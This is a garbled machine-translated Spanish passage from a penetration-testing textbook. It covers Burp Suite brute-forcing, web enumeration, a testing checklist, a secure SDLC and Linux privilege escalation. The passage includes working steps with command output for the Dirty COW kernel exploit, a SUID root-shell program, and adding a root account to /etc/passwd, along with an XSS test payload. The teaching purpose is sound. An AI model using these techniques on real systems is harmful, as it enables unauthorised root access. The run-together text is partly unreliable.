Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 9.14 BurpSuiteIntruderPayload
En esta etapa, haga clic en la pestaña Cargas útiles y mantenga el tipo de carga útil como Lista simple.
A continuación, haga clic en el menú desplegable Agregar de la lista y elija Contraseñas. Puede
comenzar con este, pero para este ejemplo, usaremos un archivo de diccionario personalizado
haciendo clic en Cargar (consulte la Figura 9.15). Una vez cargadas las contraseñas, haga clic en
el botón Iniciar ataque ubicado en la esquina superior derecha.
Cuando se inicie el ataque, se abrirá una nueva ventana para mostrar el
progreso de las contraseñas probadas .
Burp Extender
Esta pestaña le permitirá agregar más herramientas y funcionalidades a Burp
Suite. Para algunas de ellas, debe tener la versión Pro. Por ejemplo, uno de los
módulos que puede agregar es Retire.js , que busca bibliotecas de JavaScript
obsoletas. Hay una herramienta para cada ocasión: .NET, Java, JavaScript, JSON,
XSS y CSRF, por nombrar algunas.
Antes de utilizar BAppStore, deberá descargar la versión más reciente del
archivo JAR de Jython desde www.jython.org/download.html.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 9.15 BurpSuiteIntruderPayloadOption
Algunas aplicaciones deben tener Jython, que es una biblioteca combinada de Python y
Java. Una vez que descargue el archivo JAR de Jython, diríjase a la pestaña Extensor,
seleccione la subpestaña Opciones y localice la ruta donde guardó el archivo JAR (consulte
la Figura 9.17; su ruta puede ser diferente ).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Para instalar una herramienta Burp, deberá seleccionar la pestaña B App
Store. En esta ventana, verá todas las aplicaciones disponibles para elegir.
La pregunta más importante es cómo elegir una aplicación de la lista.
Elijo la aplicación según los siguientes criterios:
Dañandodecuatroestrellasoarriba
Tiene una puntuación de popularidad alta
Las funcionalidades de la herramienta de la aplicación ayudarán durante una prueba
Su criterio podría ser diferente.
Figura 9.16 BurpSuiteIntruderAttack
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 9.17 Pestaña BurpSuiteExtender
Figura 9.18 BAppStore
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Creación de un informe en eructo
Una vez que haya terminado su prueba en Burp, asegúrese de guardar
su trabajo y exportar un informe de las fallas encontradas .
Figura 9.19 Creación de informes en BurpSuite
Una vez que haga clic en el elemento del menú, aparecerá una nueva ventana emergente.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
tendrá que seguir los pasos del asistente. Una vez que haya terminado,
Burp generará un informe HTML atractivo (vea la Figura 9.20).
Figura 9.20 Muestra de informe en BurpSuite
Burp clasifica la gravedad de la falla en Alta, Media, Baja e
Información. Lo bueno de esta herramienta es que le brinda el nivel de
confianza (probabilidad de falso positivo) de cada uno. En esta etapa, su rol es
probar cada vulnerabilidad y asegurarse de no informar un falso positivo.
MásEnumeración
Cuando se trata de una aplicación web, la fase de enumeración es un poco
diferente a la de otros protocolos TCP. En esta sección, obtendrá un resumen
de las herramientas que puede usar para enumerar una aplicación web.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
lograr las siguientes tareas:
Rastrear (una segunda vez) los archivos en el servidor web
Identifique si la versión del servidor web es antigua y tiene una vulnerabilidad crítica
Detecte cualquier configuración faltante que pueda conducirlo a
recursos
Nmap
Es una buena idea comenzar con Nmap cuando se trata de la enumeración. Podemos usar el motor
de secuencias de comandos que usamos anteriormente en este libro:
$nmap-sV-p80-sC[dirección IP]
gateando
El rastreo es un paso importante para identificar contenido oculto dentro del servidor web.
Las personas a menudo implementan los archivos de configuración y los secretos
necesarios en el entorno de producción. Una excelente herramienta para este propósito se
llama GoBuster (puede usar esta herramienta junto con Burp Crawler para verificar dos veces
si se perdió algún punto oculto):
root@kali:~#gobusterdir-uhttp://172.16.0.107/mutillidae/-w/usr/share/wordlists/dirbuster/directorylist-2.3-medium.txt-e-t25
================================================== =============
Gobusterv3.0.1 […]
================================================== =====
2020/08/1208:04:37Comenzandogobuster
================================================== =====
http://172.16.0.107/mutillidae/documentation(Estado:301) http://172.16.0.107/mutillidae/
ajax(Estado:301) http://172.16.0.107/mutillidae/test(Estado:301) http: //172.16.0.107/
mutillidae/includes(Estado:301) http://172.16.0.107/mutillidae/javascript(Estado:301) http://
172.16.0.107/mutillidae/classes(Estado:301) http:// 172.16.0.107/mutillidae/styles(Estado:301)
http://172.16.0.107/mutillidae/webservices(Estado:301) http://172.16.0.107/mutillidae/
images(Estado:301) http://172.16. 0.107/mutillidae/contraseñas(Estado:301) http://
172.16.0.107/mutillidae/configuration(Estado:301) http://172.16.0.107/mutillidae/
phpmyadmin(Estado:301)
================================================== ======
Canal de Telegram : @IRFaraExam
Machine Translated by Google
2020/08/1208:04:51Terminado
Tenga en cuenta que GoBuster no está instalado de forma predeterminada en KaliLinux.
necesitará ejecutar el comando apt :
$aptinstallgobuster-y
Evaluación de vulnerabilidad
Para encontrar vulnerabilidades en el middleware (servidor web), necesitará una
escáner de vulnerabilidades . En el capítulo 7, “Fase de explotación” , aprendió cómo
useOpenVASparabuscarvulnerabilidades.Enestasección,obtendrá
otra herramienta rápida que puede buscar fallas en la aplicación web, y se llama
Nadie:
raíz @ kali: ~ # nikto-hosthttp: //172.16.0.107/mutillidae/
-Niktov2.1.6
-------------------------------------------------- -----------------
--------
+ IP de destino: 172.16.0.107
+ Nombre de host de destino: 172.16.0.107
+Puerto de destino:
+Hora de inicio:
80
2020-08-1208:15:56(GMT-4)
-------------------------------------------------- -----------------
-------+Servidor:Apache/2.4.41(Ubuntu)
+CookiePHPSESSIDcreadasinlabanderahttponly
+Cookieshowhintscreatedwiththehttponlyflag
+ El encabezado X-Frame-Options anti-clickjacking no está presente.
El encabezado +X-XSS-Protection se ha configurado para deshabilitar la protección XSS.
Es poco probable que haya una buena razón para esto.
+Encabezado poco común 'usuario conectado' encontrado, con contenido: + El
encabezado X-Content-Type-Options no está configurado.
+ No se encontraron directorios CGI (use '-Call' para forzar la verificación de todos los
directorios posibles)
+"robots.txt"contiene8entradasquedebenversemanualmente.
+OSVDB-630: El servidor web puede revelar su IP interna o real en el encabezado de ubicación
a través de una solicitud a/images over HTTP/1.0. El valor es "127.0.1.1".
+ Métodos HTTP permitidos: GET, POST, OPTIONS, HEAD +
El servidor web devuelve una respuesta válida con métodos HTTP no deseados, esto
puede causar falsos positivos.
+DEBUGHTTPverbmayshowserververdebugginginformation.Seehttp://msdn.microsoft.com/
en-us/library/e8z01xdh%28VS.80%29.aspx
Canal de Telegram : @IRFaraExam
Machine Translated by Google
para detalles. +/
mutillidae/index.php?
page=../../../../../../../../../../etc/passwd: El complemento PHP-NukeRocket es vulnerable al
cruce de archivos, lo que permite a un atacante ver cualquier archivo en el host
(probablemente Rocket, pero podría ser cualquier index.php ) […]
ManualWebPenetrationTestingChecklist
En su inspección manual, encontrará muchas tareas repetitivas para cada página web. Algunas páginas
especiales (p. ej., página de inicio de sesión, página de registro, etc.) tienen verificaciones adicionales.
Dividamos esta lista de verificación en dos partes, una para los escenarios comunes y otra para los
excepcionales.
acceso.
Lista de verificación común
Aplicarás esta lista a cualquier tipo de página web (incluso las excepcionales). Comencemos:
1. Detenga cada solicitud web en su pestaña Proxy Intercept y envíela a la pestaña repetidora
para su inspección.
2. Identifique los puntos de entrada al servidor back-end, como se muestra aquí:
URL (buscar cadena de consulta)
Encabezado de solicitud (inspeccionar la cookie, etc.)
3. Inyecte caracteres especiales en los puntos de entrada e inspeccione la respuesta web (puede usar el
repetidor de Burp en un intruso para hacer el trabajo). Además, lea el mensaje de error para ver si
muestra información jugosa.
Para SQLi : Insertar una sola comilla
Para XSS: Trytoinsertascripttag<script>alert(1)</script>
4. Manipular el comportamiento de la página web (p. ej., introducir un número negativo en
el campo del carrito de la compra, etc.).
5.UseBurpTarget/Sitemapparaubicarlo:
Archivos ocultos (p. ej., Robots.txt, archivos de copia de seguridad, archivos de texto/PDF, restos de
depuración, portal de administración)
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Objetivos de alcance no identificados
Llamadas WebAPI/SOAP
Plataforma CMS (por ejemplo, WordPress)
6. Inspeccione la lógica HTML para encontrar cualquier falla de JavaScript/HTML.
7. Intente llamar a los recursos de administración mediante una cuenta con privilegios bajos.
8. Intente llamar a otros recursos de usuario (p. ej., una imagen de otro usuario).
9. Intente llamar a un recurso protegido sin autenticación.
10. Utilice la pestaña Intruso para cualquier tipo de entrada difusa (p. ej., UID).
Lista de comprobación de páginas especiales
En algunas páginas, deberá ejecutar pruebas adicionales a las enumeradas anteriormente.
La naturaleza de estas páginas es diferente; por lo tanto, necesitamos pruebas adicionales.
Cargar página
Cuando encuentre una página cargada, debe probar estos elementos:
Asegúrese de enviar la solicitud web a la pestaña Repetidor Burp.
¿Puede omitir la validación (consulte el capítulo anterior para obtener más información)?
Cambielaextensióndelarchivo.
Cambieeltipodecontenido.
Cambieelcontenidobinario.
Página de inicio de sesión
La página de inicio de sesión, si se pasa por alto, permitirá acceder a recursos sin restricciones. Veamos cómo
podemos probarlo:
Pruebe las credenciales predeterminadas (por ejemplo, nombre de usuario = admin y contraseña = admin).
Fuerza bruta.
Use la inyección SQL para omitir la página de inicio de sesión.
¿Puede enumerar los nombres de usuario iniciando sesión con un usuario no registrado?
Registro de usuario
Canal de Telegram : @IRFaraExam
Machine Translated by Google
El registro de un usuario le permitirá iniciar sesión en el portal y explorar lo que hay dentro.
Regístrese con un usuario existente y verifique el mensaje de error (esto le permitirá enumerar
usuarios).
Regístrese con una contraseña débil.
Prueba de inyección SQL (recuerde que este formulario es para crear un nuevo registro
de usuario en la base de datos).
Restablecer/cambiar contraseña
Aquí hay otra forma interesante que interactúa con los registros del usuario en el back-end . Verifique
los siguientes elementos manualmente:
Intente restablecer el usuario existente para comprender el flujo de trabajo de la contraseña
Reiniciar.
¿Puedes cambiar la contraseña de otra persona?
Si el sistema genera una contraseña temporal aleatoria, verifique lo siguiente:
La complejidad de la contraseña.
Su tiempo de vida (timeoutexpiry).
¿Está obligado el usuario a cambiarlo después del primer inicio de sesión?
Ciclo de vida de desarrollo de software seguro
Cada aplicación web/móvil pasa por diferentes fases antes de implementarse en el entorno de
producción. Este es un tema importante en la seguridad de las aplicaciones y las pruebas de
penetración al mismo tiempo.
La Figura 9.21 muestra los pasos por los que pasa un proyecto típico en cada fase de un ciclo de vida
de desarrollo de software (SDLC).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 9.21 Ciclo de vida de desarrollo de software
En esta sección, obtendrá información sobre los roles y deberes del análisis de seguridad
en cada fase de SDL. El propósito de este proceso es convertirlo en un ciclo de vida de
desarrollo de software seguro (SSDL) .
Figura 9.22 Ciclo de vida de desarrollo seguro
Análisis / ArchitecturePhase
Atthisstage, theprojectisstillfresh, andeveryoneislayingoutthefoundation
ofthebusinesscases.Asasecurityprofessional, youwillbeattendingkick fuera
de meetingstounderstandandprovidethenecessaryadvice (miembros
theprojectteam) inadvancebeforedevelopingtheproduct.Thisiswhereyoustart
planningforlatertestsandprepareaheadforimplementingthesecuritytoolsin
laterstages.Speakingaboutplanning, itwouldbegoodtoprepareasecurity
architecturedocument (por ejemplo, threatmodeling) aheadoftime
(seethenextsection forhowtoprepareanapplicationthreatmodelingdocument).
Modelado de amenazas de aplicaciones
Canal de Telegram : @IRFaraExam
Machine Translated by Google
El modelado de amenazas de aplicaciones le permitirá analizar la postura de una aplicación
y le ayudará a diseñar los escenarios de ataque antes de comenzar con las pruebas de seguridad
más adelante en el proyecto. Un documento de modelado de amenazas de aplicaciones contendrá
principalmente las siguientes secciones:
Activos
Puntos de entrada
Terceros
niveles de confianza
Diagrama de flujo de datos (DFD)
Antes de continuar con las próximas secciones, tendrá que hacerse las siguientes preguntas (para
evaluar correctamente el proyecto):
¿La aplicación es visible para Internet o solo para la intranet?
¿La aplicación almacena datos confidenciales (p. ej., información de identificación personal,
también conocida como PII)?
¿Cómo se consume la aplicación (p. ej., sólo una aplicación web?)?
¿Existen entidades de terceros (p. ej., servicios en la nube o proveedores externos)?
¿Cuenta con el diagrama de infraestructura? (Si no lo tiene, solicítelo)
Activos
Los activos son los elementos que los atacantes (hackers) buscan robar. El ejemplo más obvio
son los datos confidenciales, como tarjetas de crédito, números de seguros, información personal
del cliente, etc. (PII).
Dispositivos de red
Servidores de alojamiento
software intermedio
Nivel de aplicación (web/móvil)
Puntos de entrada
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Como dice el nombre, los puntos de entrada son las vías de entrada desde las que un atacante
puede interactuar con un conjunto. Recuerde que un conjunto no es solo la aplicación web, sino que
también puede ser una base de datos o el propio host (o máquinas virtuales/contenedores, etc.).
Terceros
En esta sección, enumera los elementos de terceros con los que la aplicación
interactuará. Un ejemplo común es la nube, como Microsoft Azure o Amazon Web
Services (AWS), etc.
niveles de confianza
Después de identificar todos los componentes de los activos, incluidos los elementos
de terceros, debe revisar la autenticación/autorización de cada uno de ellos.
Diagrama de flujo de
datos El diagrama de red mostrará, visualmente, todo lo que ha recopilado hasta ahora.
Por ejemplo (consulte el diagrama de red en la Figura 9.23), nuestra empresa
tiene un sitio web y una aplicación móvil.
Puede simplificar el diagrama de red anterior utilizando un diagrama de flujo de datos
(DFD) para visualizar todos los componentes juntos (consulte la Figura 9.24).
Fase de desarrollo
En esta etapa, el proyecto ya está aprobado (por el consejo de arquitectura) y pasa
a la fase de desarrollo. Aquí es donde se desarrollan las características del sitio
web o la aplicación móvil utilizando lenguajes de programación como C#.NET, Java,
Angular, Swift, etc.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 9.23 Diagrama de red
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 9.24 Diagrama de flujo de datos
Duringthedevelopmentphase, theteamwilluseabuildserver, likeJenkinsor
TeamFoundationServer (nowadaysTFSiscalledAzureDevOps) .Thisbuild
serverwillorchestratetheprojectsourcecode; por lo tanto, la integración wehavecontinuous
(CI) andcontinuousdeployment (CD) .Inthedevelopmentphase, youmustensurethefollowing:.
Pruebas Thesourcecodeisscannedregularlyusingastaticapplicationsecurity (SAST)
automatedtool (. Por ejemplo, Veracode, Checkmarx, etc) submittedtothebuildserver
de la SASTscannerwillspotsecurityflawsinsidethesourcecodeonceit ( Jenkins, TFS,
etc.). Debe imponer este buen hábito a los proyectos para que puedan detectar
problemas al principio durante el
Canal de Telegram : @IRFaraExam
Machine Translated by Google
desarrollo del producto (en lugar de hacer esto escanear en el último minuto antes de la
implementación en el servidor de producción).
La revisión manual del código es esencial porque una herramienta automatizada no es suficiente para
cubrir el 100 por ciento del código fuente. Después de terminar una nueva función (por parte del
desarrollador), debe realizar este paso.
La mayoría de las veces, el código fuente usa bibliotecas de terceros de código abierto (el objetivo es
agregar más funcionalidades a la aplicación). En este caso, es su deber verificar estos tres elementos:
¿La biblioteca contiene alguna vulnerabilidad?
¿Está actualizado?
¿Es legal usarlo para uso comercial?
Para hacer el trabajo, hay escáneres automáticos (por ejemplo, Sonatype Lifecycle) que pueden verificar
estos tres elementos.
Fase de prueba
Después de terminar algunas funciones del producto, el proyecto está listo para implementarse en el servidor
de prueba (QA). El objetivo de la implementación es tener un servidor de prueba separado donde los
probadores puedan ir y probar la aplicación web/móvil. En esta etapa, usted, como profesional de seguridad,
debe verificar los siguientes elementos:
Es su oportunidad de ir y aprender las nuevas funcionalidades de la interfaz de usuario.
Use la edición Burp Professional para probar manualmente las vulnerabilidades (pruebas de
penetración web) de las nuevas funciones.
Utilice una herramienta de prueba de seguridad de aplicaciones dinámicas (DAST) (p. ej., BurpSuite
Enterprise Edition, Acunetix, etc.) para automatizar las pruebas de penetración web. Esta tarea se
implementa en la fase de prueba porque necesita un sitio web en ejecución (por lo que debe
implementarse en un entorno astable, antes de ejecutar la herramienta).
Entorno de producción (implementación final)
Una vez que el código se implemente en el entorno de producción, el sitio web o la aplicación móvil
quedarán bajo la responsabilidad del equipo de seguridad operativa (OpSec).
OpSec se encargará de supervisar y realizar pruebas de penetración periódicas (por lo general, una
vez al año) en la infraestructura y las pruebas de penetración web también en la aplicación
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Últimamente, se implementaron programas de recompensas por errores y las empresas comenzaron a
contratar cazadores de recompensas por errores externos para buscar cualquier defecto que faltara y que
no se detectara durante todas las fases anteriores.
Resumen
Es probable que más del 80 por ciento del tiempo de un consultor de seguridad
cibernética se dedique a las pruebas de penetración de aplicaciones web. Le
recomendamos encarecidamente que domine este tema antes de continuar con
este libro. La fórmula simple para dominar cualquier habilidad se basa en dos
factores: conocimiento y práctica (la habilidad heredada también es un factor menor).
¿Qué sigue? En el próximo capítulo, profundizaremos en el concepto de escalada de
privilegios de Linux.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 10
Escalada de privilegios de Linux
En esta etapa, ya tiene un caparazón limitado, y le gustaría ir más allá y obtener un caparazón
raíz en su lugar . Este capítulo se enfoca principalmente en la escalada de privilegios del
sistema operativo Linux, y el capítulo siguiente tratará el sistema operativo Windows. Aunque
el sistema operativo Windows es popular entre los hosts de los clientes, la mayoría de la
infraestructura de red y los servidores utilizan el sistema operativo Linux.
El objetivo de este capítulo (y de este libro en general) es enseñarle la metodología
y no depender de herramientas para hacer el trabajo.
carrera profesional.
Este capítulo cubrirá los siguientes temas:
LinuxKernelexploits
Explotación de SUID de Linux
Manipulación de archivos de configuración de Linux
Exploitingrunningservices
sudoers explotación
Scripts automatizados para la escalada de privilegios de Linux
Introducción a las vulnerabilidades del kernel y faltantes
Configuraciones
La escalada de privilegios en un sistema operativo Linux se puede lograr de dos maneras:
explotandoelkernel
Explotación de una configuración débil del sistema (principalmente implementada por el
usuario raíz)
Canal de Telegram : @IRFaraExam
Machine Translated by Google
En el resto de este capítulo, profundizaremos en cada categoría para lograr el objetivo (obtener un
shell raíz). Empecemos.
Exploits del núcleo
El kernel es el corazón del sistema operativo Linux y se ejecuta con privilegios de root. Una falla
que pueda interactuar con el kernel permitirá que su usuario se ejecute en modo root.
Tenemos algunos desafíos cuando queremos ejecutar una explotación en el host de destino.
Aquí están los pasos para hacerlo:
1.Identifiquelaversióndelkernel.
2. Busque un exploit que coincida con la versión del kernel (encontrado en el paso 1).
3. Transferir el exploit al host vulnerable (profundizaremos en esto)
tema más adelante en este capítulo).
4. Encuentre la manera de engañar al host vulnerable para que ejecute nuestra carga útil, como
compilar el código C en el host remoto.
Explotación del kernel:DirtyCow La vaca
sucia representa la función de copia sobre escritura (COW) de la memoria privada de solo lectura.
¿Cómo funciona esta explotación? En una situación normal, un mecanismo COW leerá un archivo en
la memoria y, por lo tanto, creará una copia en la memoria de ese archivo.
Los creadores de este exploit intentaron crear miles de iteraciones en las que, en un momento
determinado, el kernel sobrescribirá el archivo original. Este comportamiento dará a los atacantes
una opción para sobrescribir el archivo que deseen.
Debido a la naturaleza de este exploit (ejecutar miles de iteraciones), el sistema de destino podría
fallar, así que tenga cuidado cuando lo use. Dicho esto, intentemos explotar esta vulnerabilidad.
Primero, veamos los permisos de usuario actuales usando el comando id :
elliot@ubuntu14Server:~$ id
uid=1001(elliot)gid=1001(elliot)grupos=1001(elliot)
Canal de Telegram : @IRFaraExam
Machine Translated by Google
En esta etapa, el usuario elliot tiene permisos limitados. Probemos esto intentando
acceder al archivo /etc/shadow :
elliot@ubuntu14Server:~$ cat/etc/shadow cat:/etc/
shadow:Permiso denegado
A continuación, verifiquemos la versión del kernel en este servidor de usuario de Ubuntu:
elliot@ubuntu14Server:~$ uname ÿa
Linuxubuntu14Server3.13.0ÿ32-generic#57-UbuntuSMPTueJul1503:51:08UTC2014x86_64x86_64x86_64GNU/
Linux
Dado que la versión es 3.13 (que es menor que la versión 3.9), podemos suponer que es
vulnerable a la explotación de la vaca sucia. Si realiza una búsqueda en línea de la
explotación de la vaca sucia, verá la pantalla en la Figura 10.1. Este exploit de Dirtycow
admite versiones de Linux entre 2.6.22 y 3.9.
Figura 10.1 GoogleSearch – DirtyCOWExploit
exploit-db es mi opción cuando se trata de referencias de exploits, que es el primer
elemento en los resultados de la búsqueda. El enlace lo llevará al sitio web de exploit-db
en www.exploit-db.com/exploits/40839 .
A continuación, descargue el código C de exploitÿdb a su Kalibox. Tenga en cuenta
que estoy conectado con un shell limitado al host remoto usando Kali.
El mayor desafío en este momento es transferir la explotación del archivo C al
Canal de Telegram : @IRFaraExam
Machine Translated by Google
host vulnerable. Para hacer el trabajo, podemos usar el servidor web de Python para alojarlo:
root@kali:~/Descargas#python-mSimpleHTTPServer8000
SirviendoHTTPon0.0.0.0port8000…
A continuación, vuelva al shell limitado de SSH y ejecute las siguientes cinco acciones:
Cambie el directorio de trabajo a /tmp porque tenemos más flexibilidad en esta carpeta
(tenemos permisos de escritura).
Utilice el comando wget para descargar el exploit.
Compile el código C de acuerdo con la documentación de explotación (se encuentra en la
parte superior de la sección de comentarios del código C).
Ejecute el exploit de acuerdo con la documentación de exploitÿdb .
Cambie al usuario recién creado llamado firefart .
elliot@ubuntu14Server:/tmp$ wgethttp://172.16.0.102:8000/40839.c --2020-08-1711:43:50-http://172.16.0.102:8000/40839.c Conectando a 172.16.0. 102:8000... conectado.
Solicitud HTTP enviada, esperando respuesta… 200 OK
Longitud: 5006 (4,9 K) [texto/sin formato]
Guardando en: '40839.c'
100%
[=============================================== ============================== 5,006--.
K/sin0s2020-08-1711:43:50(657MB/s )-'40839.c'saved[5006/5006] elliot@ubuntu14Server:/tmp$ gccÿ
pthread40839.cÿodirtyÿlcrypt elliot@ubuntu14Server:/tmp$ chmod+xdirty elliot@ubuntu14Server:/tmp$ ./
dirty / etc/contraseña respaldada con éxito en/tmp/contraseña.bak Ingrese la nueva contraseña: Línea
completa: firefart: fi6bS9A.C7BDQ: 0: 0: pwned: / root: / bin / bash
mmap:7f297c216000
ptrace0 ¡Listo! Compruebe/
etc/passwd para ver si se creó el nuevo usuario.
Puede iniciar sesión con el nombre de usuario 'firefart' y la contraseña 'test'.
¡NO OLVIDES RESTAURAR!$mv/tmp/passwd.bak/etc/passwd
elliot@ubuntu14Server:/tmp$ sufirefart Contraseña:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
firefart@ubuntu14Server:/tmp# id
uid=0(firefart)gid=0(raíz)grupos=0(raíz)
¡Usamos raíz!
Dirtycowis es solo un exploit famoso; este ejercicio fue solo para
mostrarle cómo hacer el trabajo cuando tiene un núcleo heredado.
SUIDEexplotación
Este exploit de ID de usuario (SUID) (personalmente lo llamo ID de superusuario de exploit) es
una debilidad que permite a los usuarios ejecutar el permiso de un usuario específico (por
ejemplo, raíz). Para buscar estos tipos de archivos, usaremos el comando de búsqueda para
hacer el trabajo:
elliot@ubuntu14Server:~$ find/ÿpermÿu=sÿtypef2>/dev/null /bin/umount /bin/mount /
bin/ping6 /bin/su /bin/ping /bin/fusermount /usr/bin/ traceroute6.iputils /usr/bin/chsh /
usr/bin/pkexec /usr/bin/at /usr/bin/chfn /usr/bin/mtr /usr/bin/sudo /usr/bin/passwd /usr/
bin/ gpasswd /usr/bin/newgrp /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/
openssh/ssh-keysign /usr/lib/pt_chown /usr/lib/eject/dmcrypt-get- dispositivo /usr/lib/
policykit-1/polkit-agent-helper-1 /usr/sbin/pppd /usr/sbin/uuidd /opt/bashme
El archivo bashme es un buen candidato. De hecho, creé este archivo para este ejercicio en
Canal de Telegram : @IRFaraExam
Machine Translated by Google
El propósito es mostrarle cómo funciona. Probablemente se esté preguntando cómo
supe que no había candidatos. La respuesta es simple : todos son archivos del sistema
para Linux .
elliot@ubuntu14Server:~$ cd/opt
elliot@ubuntu14Server:/opt$ lsÿla total20 drwxrxr-x2rootroot4096Aug1716:50. drwxr-xrx22rootroot4096Aug1710:25..ÿrwsrÿxrÿ
x1rootroot8577Aug1716:50bashme
Tome nota de la s (se llama bit fijo) al comienzo del valor de los permisos. De hecho, esto
sucedió porque el usuario raíz ya ejecutó uno de los siguientes comandos para este
archivo.
$chmodu+s/opt/bashme
$chmod4755/opt/bashme
En esta etapa, todo lo que necesitamos para ejecutarlo usando nuestro shell de usuario limitado:
elliot@ubuntu14Server:/opt$ ./bashme
root@ubuntu14Server:/opt#id
uid=0(root)gid=1001(elliot)groups=0(root),1001(elliot)
Entonces, ¿qué hay dentro de este archivo bashme ? Es un ejecutable compilado de
código C creado por el usuario raíz. En algunos otros casos (CTF, etc.), este es un archivo
Bash ( .sh ) donde puede escribir su propio script:
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
intmain(void) {
setresuido (0,0,0);
sistema ("/ bin / bash");
retorno0;
}
La raíz ha creado este archivo en el host vulnerable. Además, cuando lo ejecutamos
usando una cuenta con privilegios bajos, el código compilado llamará a la función del
sistema y cargará la ventana Bash usando privilegios de raíz. Recuerde que para compilar
el código C (en general) necesitará ejecutar el siguiente comando:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
$gcc[archivo fuente].co[nombrearchivosalida]
Para un ejecutable compilado de 32 bits, debe ejecutar el siguiente comando.
Esto depende de si el sistema Linux de destino es una versión de 32 o 64 bits. Tenga en cuenta que no
puede ejecutar una aplicación de 64 bits en un sistema de 32 bits:
$gcc-m32[archivo de origen].co[nombre de archivo de salida]
Anulación del archivo de usuarios de contraseñas
Hay múltiples enfoques para encontrar la manera de escribir en el archivo /etc/passwd .
En resumen, si tiene permisos de escritura en este archivo, puede generar una cuenta
de usuario raíz que puede utilizar para iniciar sesión.
Compruebe si el usuario actual (usuario de shell limitado) tiene permisos de escritura para
este archivo.
Compruebe si la SUI está configurada para el comando cp (copiar).
Compruebe si el SUI está configurado para los editores de texto Viman y Nano (o cualquier
otro tipo de editores de texto).
El primer punto es fácil de implementar, solo necesitamos generar el usuario root y
agregarlo al archivo (recuerde que ya tenemos un permiso de escritura en el archivo).
elliot@ubuntu14Server:~$lsÿla/etc/passwd ÿrwxrÿ
xrwx1rootroot1293Aug1716:45/etc/passwd
Parece que tenemos permisos de escritura en este archivo. Para probar este comportamiento,
agregue el número 1 al archivo para ver si funciona:
elliot@ubuntu14Server:~$ echo1>>/etc/passwd
elliot@ubuntu14Server:~$ cat/etc/passwd
root:fi6bS9A.C7BDQ:0:0:pwned:/root:/bin/bash /sbin:/usr/sbin /
nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/
sbin/nologin sync:x:4:65534:sync: /bin:/bin/sync […]
messagebus:x:102:106::/var/run/dbus:/bin/false paisaje:x:103:109::/
var/lib/paisaje:/bin/false sshd:x:104:65534::/var/ejecutar/sshd:/
usr/sbin/nologin
Canal de Telegram : @IRFaraExam
Machine Translated by Google
postgres:x:105:111:Administrador de
PostgreSQL,,,:/var/lib/postgresql:/bin/bash
gus:x:1000:1000:guskhawaja,,,:/home/gus:/bin/bash elliot:x:
1001:1001:elliot,11,0,0,Fsociety:/home/elliot:/bin/bash
1
¡Impresionante, funciona! A continuación, genere un usuario raíz real . Para hacer el trabajo ,
utilice el comando OpenSSL para generar una contraseña de fsociety ; el nombre de usuario
será mrrobot:
elliot@ubuntu14Servidor:~$ opensslpasswdÿ1ÿsaltmrobotfsociety $1$mrrobot$uBJaW/
VOizY1OYia6mMLc1
Ahora, agregue el nuevo usuario al archivo de contraseñas (usaremos el editor de texto Nano
para hacer el trabajo). Revisemos el contenido de este archivo, que se muestra aquí:
elliot@ubuntu14Server:~$ cat/etc/passwd […] mrrobot:
$1$mrrobot$uBJaW/VOizY1OYia6mMLc1:0:0:raíz:/raíz:/
bin/bash
¿Qué cree que sucederá cuando cambie al nuevo usuario de mrobot ? ¿Es usuario root?
elliot@ubuntu14Servidor:~$ sumrrobot
Contraseña:root@ubuntu14Server:/home/elliot# id
uid=0(root)gid=0(root)groups=0(root)
En este escenario, pudimos agregar el nuevo usuario porque teníamos permisos de
escritura. El segundo escenario es si el comando cp tenía el bit SUID activado. Si ese es el
caso, entonces debe crear un nuevo archivo de contraseña y luego usar el comando cp para
hacer el trabajo:
$cp[suarchivocontraseñageneradopersonalizado]/etc/contraseña
No olvide copiar primero los usuarios existentes del archivo original, antes de
agregar el nuevo usuario raíz.
El escenario final se puede explotar cuando el SUI Disset para el editor de texto Nano o
Vim, por ejemplo. Luego, esta marca le permitirá usar uno de estos editores de texto para
cambiar el contenido del archivo de contraseña wd y agregar un nuevo usuario raíz.
CRONJobsPrivilegeEscalation
Canal de Telegram : @IRFaraExam
Machine Translated by Google
El cronograma dentro del sistema Linux, que permite a los usuarios crear tareas
programadas. Por tareas, queremos decir comandos; para los hackers, esto es una puerta para
la explotación. ¿Qué pasa si podemos verificar qué está tratando de programar el usuario raíz?
CRONConceptos básicos
Un usuario raíz puede programar una tarea para ejecutar un sistema Linux de diferentes
maneras. El primer método es usar los directorios cron :
/etc/cron.daily/
/etc/cron.horaria/
/etc/cron.monthly/
/etc/cron.weekly/
Cualquier archivo de secuencia de comandos guardado en cada carpeta se ejecutará de acuerdo con su período de tiempo.
Por ejemplo, un archivo script ubicado en la carpeta /etc/cron.daily/ se ejecutará diariamente.
Crontab
El segundo método es el uso de crontab. Un usuario raíz puede programar una tarea programada
en todo el sistema mediante el archivo /etc/crontab . Este es el escenario más común que puede
encontrar cuando un usuario raíz desea programar una tarea.
Minuto (0-59) Hora (0-24) Día (1-31) Mes (1-12) Día de la semana (0-6,0 es
Domingoy6esSábado)[Comandoparaejecutar]
Por ejemplo, para ejecutar el script sys.sh cada hora al minuto 0 (por ejemplo, 6 a. m., 7 a. m.,
etc.), use esto:
0 ****/raíz/sys.sh
El asterisco significa cualquier valor posible para un minuto, mes, etc. También puede utilizar los
siguientes operadores:
Coma (,): Esto especifica números enteros consecutivos como 1,2,3,4,5 .
Guión (ÿ): este carácter le permitirá especificar rangos . Por ejemplo, 1ÿ5 es lo mismo
que 1,2,3,4,5 .
